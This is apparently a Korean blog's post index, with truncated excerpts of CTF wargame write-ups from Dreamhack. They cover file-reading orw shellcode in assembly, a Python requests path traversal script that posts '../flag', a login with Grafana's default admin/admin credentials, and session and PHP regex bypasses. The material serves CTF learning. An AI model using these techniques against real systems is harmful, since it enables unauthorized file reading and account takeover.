본문 바로가기

전체 글

(210)
Shellcode 파일 읽고 쓰기 orw 셸 코드 char buf[0x30]; int fd = open("/tmp/flag", RD_ONLY, NULL); read(fd, buf, 0x30); write(1, buf, 0x30); /tmp/flag 파일을 읽고 쓰는 c언어 코드 우선 /tmp/flag 라는 문자열을 메모리에 넣어야 한다. 0x616c662f706d742f67를 push 해야 하는데 8바이트 단위로 push할 수 있기 때문에 0x67을 먼저 push하고, 0x616c662f706d742f를 push 한다. push 0x67 mov rax, 0x616c662f706d742f push rax mov rdi, rsp ; rdi = "/tmp/flag" xor rsi, rsi ; rsi = 0 ; RD_ONLY x..
드림핵 pathtraversal 롸업 userid에 ../flag를 넣어서 pathtraversal 취약점을 이용하려고 했는데 안된다. 값이 넘어갈 때 flag를 포함하면 undefined로 처리되어서 넘어가는 것 같다. import requests url="http://host3.dreamhack.games:8821/get_info" data={"userid":"../flag"} res=requests.post(url=url, data=data) print(res.text) 이렇게 공격 코드를 짜서 실행하면 flag가 나온다.
드림핵 web-misconf-1 롸업 기본 설정을 사용한 서비스라고 하고 설정 관련 파일이 있다. 근데 설정 관련 파일을 아무리 봐도 [auth.anonymous] # enable anonymous access enabled = false # specify organization name that should be used for unauthenticated users org_name = DH{THIS_IS_FAKE_FLAG} 이 부분 말고는 어떤 정보도 얻을 수 없었다. 한참 설정 파일을 들여다 보다 결국 검색을 해 봤는데 기본 설정을 사용한다는 것 때문에 Grafana에 대해 검색을 해야 했다. Grafana 기본 설정에 대해 찾아보면 초기 id, pw가 admin이다. 그래서 admin, admin으로 로그인이 된다. Server Ad..
드림핵 session 롸업 users = { 'guest': 'guest', 'user': 'user1234', 'admin': FLAG } session_storage = { } @app.route('/') def index(): session_id = request.cookies.get('sessionid', None) try: username = session_storage[session_id] except KeyError: return render_template('index.html') return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}') u..
드림핵 simple-web-request 롸업 @app.route("/step1", methods=["GET", "POST"]) def step1(): #### 풀이와 관계없는 치팅 방지 코드 global step1_num step1_num = int.from_bytes(os.urandom(16), sys.byteorder) #### if request.method == "GET": prm1 = request.args.get("param", "") prm2 = request.args.get("param2", "") step1_text = "param : " + prm1 + "\nparam2 : " + prm2 + "\n" if prm1 == "getget" and prm2 == "rerequest": return redirect(url_for("st..
드림핵 ex-reg-ex 롸업 @app.route("/", methods = ["GET", "POST"]) def index(): input_val = "" if request.method == "POST": input_val = request.form.get("input_val", "") m = re.match(r'dr\w{5,7}e\d+am@[a-z]{3,7}\.\w+', input_val) if m: return render_template("index.html", pre_txt=input_val, flag=FLAG) return render_template("index.html", pre_txt=input_val, flag='?') 구성 코드이다. 간단하게 re.match 함수에 있는 정규표현식을 만족하도록 input_val을..
드림핵 Flying Chars 롸업 글자들이 날아다닌다. 소스코드를 보니 anim 함수에서 move 함수를 이용해 글자를 움직인다. 그냥 단순하게 움직이지 않게 만들면 되니까 anim 함수의 파라미터에서 dis값을 0으로 만들면 된다. console 창에서 저렇게 코드를 입력해주면 글자들이 멈춘다. 멈춘 글자들을 이어서 보면 flag가 된다.
드림핵 phpreg 롸업 $input_name = $_POST["input1"] ? $_POST["input1"] : ""; $input_pw = $_POST["input2"] ? $_POST["input2"] : ""; // pw filtering if (preg_match("/[a-zA-Z]/", $input_pw)) { echo "alphabet in the pw :("; } else{ $name = preg_replace("/nyang/i", "", $input_name); $pw = preg_replace("/\d*\@\d{2,3}(31)+[^0-8\"]\!/", "d4y0r50ng", $input_pw); if ($name === "dnyang0310" && $pw === "d4y0r50ng+1+13") { name과..